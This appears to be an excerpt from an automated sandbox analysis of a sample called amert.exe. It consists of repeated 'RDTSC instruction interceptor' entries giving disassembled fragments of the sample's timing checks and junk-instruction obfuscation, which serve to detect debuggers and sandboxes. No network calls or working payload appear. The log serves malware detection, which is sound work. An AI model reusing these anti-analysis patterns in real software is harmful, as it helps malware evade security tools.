Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82EDD7 second address: 82EDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82EDDB second address: 82EDFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 ja 00007F0D7471B5F0h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0D7471B5E2h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 830BF9 second address: 830BFE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83134A second address: 83136F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F0D7471B5D6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83136F second address: 831373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8358F1 second address: 8358F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8358F8 second address: 83591A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569C4h 0x00000009 popad 0x0000000a pushad 0x0000000b jbe 00007F0D755569B6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 836FB4 second address: 836FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jns 00007F0D7471B5D6h 0x0000000f jne 00007F0D7471B5D6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 838F8F second address: 838F95 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 838F95 second address: 838F9F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0D7471B5DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8380BC second address: 8380C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8380C0 second address: 8380C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 839F55 second address: 839F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8391AF second address: 8391B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 7F135A second address: 7F1368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0D755569B6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83A159 second address: 83A15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83A15D second address: 83A178 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D755569C3h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83C561 second address: 83C56B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F0D7471B5D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83C6EE second address: 83C71B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F0D755569CAh 0x00000012 jmp 00007F0D755569C4h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83E631 second address: 83E649 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0D7471B5DEh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83E649 second address: 83E64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83E64D second address: 83E660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D7471B5DBh 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83E7CB second address: 83E7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83F6F4 second address: 83F75E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c pop ebx 0x0000000d nop 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F0D7471B5D8h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f push esi 0x00000030 add dword ptr [ebp+124492C8h], esi 0x00000036 pop ebx 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e adc edi, 1E84177Bh 0x00000044 mov eax, dword ptr [ebp+122D0745h] 0x0000004a clc 0x0000004b push FFFFFFFFh 0x0000004d mov bx, 16F6h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F0D7471B5DBh 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83F75E second address: 83F764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 842591 second address: 842597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 83D724 second address: 83D728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 842597 second address: 8425F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F0D7471B5D8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push esi 0x0000002a call 00007F0D7471B5D8h 0x0000002f pop esi 0x00000030 mov dword ptr [esp+04h], esi 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc esi 0x0000003d push esi 0x0000003e ret 0x0000003f pop esi 0x00000040 ret 0x00000041 mov ebx, 746D7CF6h 0x00000046 push 00000000h 0x00000048 mov edi, dword ptr [ebp+1244E01Ch] 0x0000004e xchg eax, esi 0x0000004f push ecx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 841812 second address: 841817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 841817 second address: 841821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0D7471B5D6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 841821 second address: 841825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8427C7 second address: 8427EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0D7471B5E4h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F0D7471B5DCh 0x00000014 jnl 00007F0D7471B5D6h 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8427EF second address: 8427F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 84386F second address: 843873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 84A4DC second address: 84A4E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 84D3AD second address: 84D3C1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D7471B5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0D7471B5DAh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 84D6D3 second address: 84D6E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569BEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 84D858 second address: 84D85C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 84D85C second address: 84D87C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D755569BCh 0x0000000d jmp 00007F0D755569BCh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 84D87C second address: 84D880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 810B05 second address: 810B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569BDh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F0D755569B6h 0x00000015 pop eax 0x00000016 push edi 0x00000017 pushad 0x00000018 popad 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8569B9 second address: 8569BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8569BF second address: 8569C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0D755569B6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85764E second address: 85766A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F0D7471B5E3h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85CFA4 second address: 85CFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0D755569B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D110 second address: 85D12E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D12E second address: 85D132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D256 second address: 85D25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D25C second address: 85D260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D260 second address: 85D26B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D26B second address: 85D271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D271 second address: 85D286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F0D7471B5D6h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D286 second address: 85D290 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D755569B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D290 second address: 85D2A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D2A0 second address: 85D2A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D3C7 second address: 85D3CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D3CD second address: 85D3D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 85D3D7 second address: 85D3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 811628 second address: 81164F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569BFh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F0D755569C2h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8618AC second address: 8618B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8265AD second address: 8265B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8265B1 second address: 810B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7471B5DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F0D7471B5D8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 xor dx, 0FCDh 0x0000002a call 00007F0D7471B5DDh 0x0000002f sub dword ptr [ebp+122D1BECh], eax 0x00000035 pop edx 0x00000036 call dword ptr [ebp+122D27D7h] 0x0000003c jnl 00007F0D7471B5EBh 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 pushad 0x00000046 popad 0x00000047 je 00007F0D7471B5D6h 0x0000004d pop eax 0x0000004e push edi 0x0000004f pushad 0x00000050 popad 0x00000051 pop edi 0x00000052 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82668A second address: 82668E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 826A6E second address: 826A78 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0D7471B5D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 826A78 second address: 826A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 826A7E second address: 826A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 826B78 second address: 826B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 826F7B second address: 826F80 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 826F80 second address: 826F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0D755569BCh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827078 second address: 8270D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F0D7471B5D6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f jg 00007F0D7471B5DCh 0x00000015 push 00000004h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F0D7471B5D8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 jmp 00007F0D7471B5E4h 0x00000036 mov edx, dword ptr [ebp+122D3C7Bh] 0x0000003c push eax 0x0000003d push edi 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82744A second address: 82745C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0D755569B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82777C second address: 82779C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0D7471B5DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F0D7471B5DAh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82779C second address: 8277A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8277A1 second address: 8277A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82785F second address: 827919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0D755569BEh 0x0000000a popad 0x0000000b push eax 0x0000000c jnc 00007F0D755569D8h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F0D755569B8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d jmp 00007F0D755569C8h 0x00000032 mov cx, 4B59h 0x00000036 lea eax, dword ptr [ebp+1247B356h] 0x0000003c jmp 00007F0D755569C8h 0x00000041 sub ecx, dword ptr [ebp+122D28AEh] 0x00000047 nop 0x00000048 jmp 00007F0D755569BEh 0x0000004d push eax 0x0000004e jp 00007F0D755569BEh 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827919 second address: 827962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebx 0x00000009 call 00007F0D7471B5D8h 0x0000000e pop ebx 0x0000000f mov dword ptr [esp+04h], ebx 0x00000013 add dword ptr [esp+04h], 0000001Ch 0x0000001b inc ebx 0x0000001c push ebx 0x0000001d ret 0x0000001e pop ebx 0x0000001f ret 0x00000020 jmp 00007F0D7471B5DCh 0x00000025 lea eax, dword ptr [ebp+1247B312h] 0x0000002b movsx ecx, ax 0x0000002e push eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 jno 00007F0D7471B5D6h 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827962 second address: 827966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827966 second address: 82796F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 82796F second address: 827975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 827975 second address: 811628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, dword ptr [ebp+122D3B47h] 0x0000000f mov edx, ebx 0x00000011 call dword ptr [ebp+122D59A4h] 0x00000017 push eax 0x00000018 push edx 0x00000019 push ebx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jmp 00007F0D7471B5DCh 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 861DD8 second address: 861DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8620AE second address: 8620C6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F0D7471B5DEh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8620C6 second address: 8620CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
